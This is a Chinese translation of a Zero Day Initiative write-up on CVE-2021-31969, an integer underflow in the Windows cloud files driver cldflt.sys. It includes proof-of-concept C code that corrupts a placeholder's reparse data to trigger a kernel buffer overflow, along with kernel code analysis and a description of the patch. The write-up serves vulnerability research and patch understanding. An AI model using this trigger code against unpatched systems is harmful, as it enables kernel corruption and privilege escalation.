Windows 云同步引擎API整数溢出漏洞(CVE-2021-31969)

h1apwn
在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时,Windows通过同步使关联的云文件显示出来。

随着云存储的普及,各种操作系统都添加了支持此类存储的服务和功能。现在可以在云端同步本地存储,同时也可以在系统上检索到问价。在Windows上,这种功能是通过Cloud Sync Engines云同步引擎完成的。该组件公开了一个Cloud Filter API的本机API。该API实现可在Cloud Files Mini Filter Driver或cldflt.sys中找到。本文介绍了有关此驱动程序中的整数下溢漏洞的一些详细信息,该漏洞的编号为CVE-2021-31969/ZDI-21-797,它可以被利用来溢出内核缓冲区并通过权限提升实现代码执行。

0x01 Cloud Sync Engines

Windows中的Cloud Filter API启用是从Windows 10版本的1709开始。它提供对Cloud Sync Engines云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。Cloud Sync Engines云同步引擎是一种在远程主机和本地客户端之间同步文件的服务,它允许本地用户通过Windows文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时,Windows通过同步使关联的云文件显示出来。

0x02漏洞利用方法

以下是PoC中关键步骤的描述:

1:首先执行同步注册。然后启动同步提供程序和同步过滤器API之间的通信:

WCHAR*dir=(WCHAR*)L"C:\ProgramData";

GUID guid=;

guid.Data1=0xB196E670;

guid.Data2=0x59C7;

guid.Data3=0x4D41;

CF_SYNC_REGISTRATION reg=;

reg.StructSize=sizeof(reg);

reg.ProviderName=L"test";

reg.ProviderVersion=L"1.0";

reg.ProviderId=guid;

CF_SYNC_POLICIES policies=;

policies.StructSize=sizeof(policies);

policies.HardLink=CF_HARDLINK_POLICY_ALLOWED;

policies.Hydration.Primary=CF_HYDRATION_POLICY_PARTIAL;

policies.InSync=CF_INSYNC_POLICY_NONE;

policies.Population.Primary=CF_POPULATION_POLICY_PARTIAL;

HRESULT hr=CfRegisterSyncRoot(dir,&reg,&policies,CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

if(FAILED(hr)){

printf("CfRegisterSyncRoot failed with%pn",hr);

return 0;

}

CF_CALLBACK_REGISTRATION table[2];

table[0].Callback=DoTransferCallback;

table[0].Type=CF_CALLBACK_TYPE_FETCH_DATA;

table[1].Callback=nullptr;

table[1].Type=CF_CALLBACK_TYPE_NONE;

CF_CONNECTION_KEY key;

hr=CfConnectSyncRoot(dir,table,0,CF_CONNECT_FLAG_NONE,&key);

2:获取目标目录的句柄并通过FSCTL_GET_REPARSE_POINT控制代码检索重解析数据:

RtlInitUnicodeString(&name,ntDir);

InitializeObjectAttributes(&oa,&name,0,0,0);

ret=NtCreateFile(&hF,0xC0000000,&oa,&isb,0,0,0,3,1,0,0);

if(NT_SUCCESS(ret))

{

ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_GET_REPARSE_POINT,0,0,rb,0x300);

if(NT_SUCCESS(ret))

{

//...

}

}

3:修改检索到的重解析数据,将长度设置为零。然后通过FSCTL_SET_REPARSE_POINT_EX控制代码将其设置回原位(标签设置为0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,设置参数以code=0xC0000003通过cloud filter FSCTL(0x903BC)请求占位符更新。

rb[0xa]=0;//set(USHORT)length to zero

rb[0x9]=0xfa;

rb[0x8]=0xfa;

rb[13]=0x22;

rbLen+=*(UINT16*)(rb+4);

rbSet=(char*)malloc(rbLen+setLen);

memset(rbSet,0,rbLen+setLen);

*(UINT32*)(rbSet+0)=0;

*(UINT32*)(rbSet+4)=0x9000301A;

memcpy(rbSet+setLen,rb,rbLen);

ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_SET_REPARSE_POINT_EX,rbSet,setLen+rbLen,0,0);

memset(output,0,0x100);

*(UINT32*)(output+0)=0x9000001a;

*(UINT32*)(output+4)=0xC0000003;

*(UINT32*)(output+8)=0x10000;

ret=NtFsControlFile(hF,0,0,0,&isb2,0x903BC,output,0x100,0,0);

0x03内核漏洞

内核驱动程序cldflt.sys负责处理cloud filter FSCTL。函数中用了大量switch语句来完成工作,这个函数被命名为HsmFltProcessHSMControl:

2345截图20211028093243.png

图1-HsmFltProcessHSMControl函数

对0xC0000003的操作,最终会调用HsmFltProcessUpdatePlaceholder:

2345截图20211028093243.png

图2-调用HsmFltProcessUpdatePlaceholder

经过一些处理,执行流程将达到HsmpRpReadBuffer。首先分配一个缓冲区,然后通过发出一个FSCTL_GET_REPARSE_POINT控制指令来检索重解析数据。检索到的数据可能已被攻击者修改,之后调用HsmpRpiDecompressBuffer:

2345截图20211028093243.png

图3-调用HsmpRpiDecompressBuffer

在HsmpRpiDecompressBuffer内部,提供的长度(攻击者已设置为零)被检索并增加8。它保存在局部变量length中,然后用于分配内核缓冲区。之后,代码通过调用RtlDecompressBuffer使用分配的缓冲区作为未压缩数据的目标缓冲区继续解压缩数据。但是,它传递给RtlDecompressBuffer的指针不是已分配缓冲区的开始。而是已分配缓冲区开始前的12个字节,以便为某些元数据腾出空间。相应地,它传递给RtlDecompressBuffer的缓冲区大小是length-12。在下面的反汇编代码中,减法被优化为ADD。在我们的例子中,这个减法产生了一个整数下溢,因此一个巨大的缓冲区长度值0xFFFFFFF4被传递给RtlDecompressBuffer,这会导致内核缓冲区溢出。

2345截图20211028093243.png

图4-整数下溢漏洞

0x04补丁分析

Microsoft通过添加检查以确保检索到的长度不小于4来修复此漏洞,这使得无法触发整数下溢。

2345截图20211028093243.png

图5-来自Microsoft的补丁

本文翻译自:https://www.zerodayinitiative.com/blog/2021/7/19/cve-2021-31969-underflowing-in-the-clouds

THEEND

最新评论(评论仅代表用户观点)

更多
暂无评论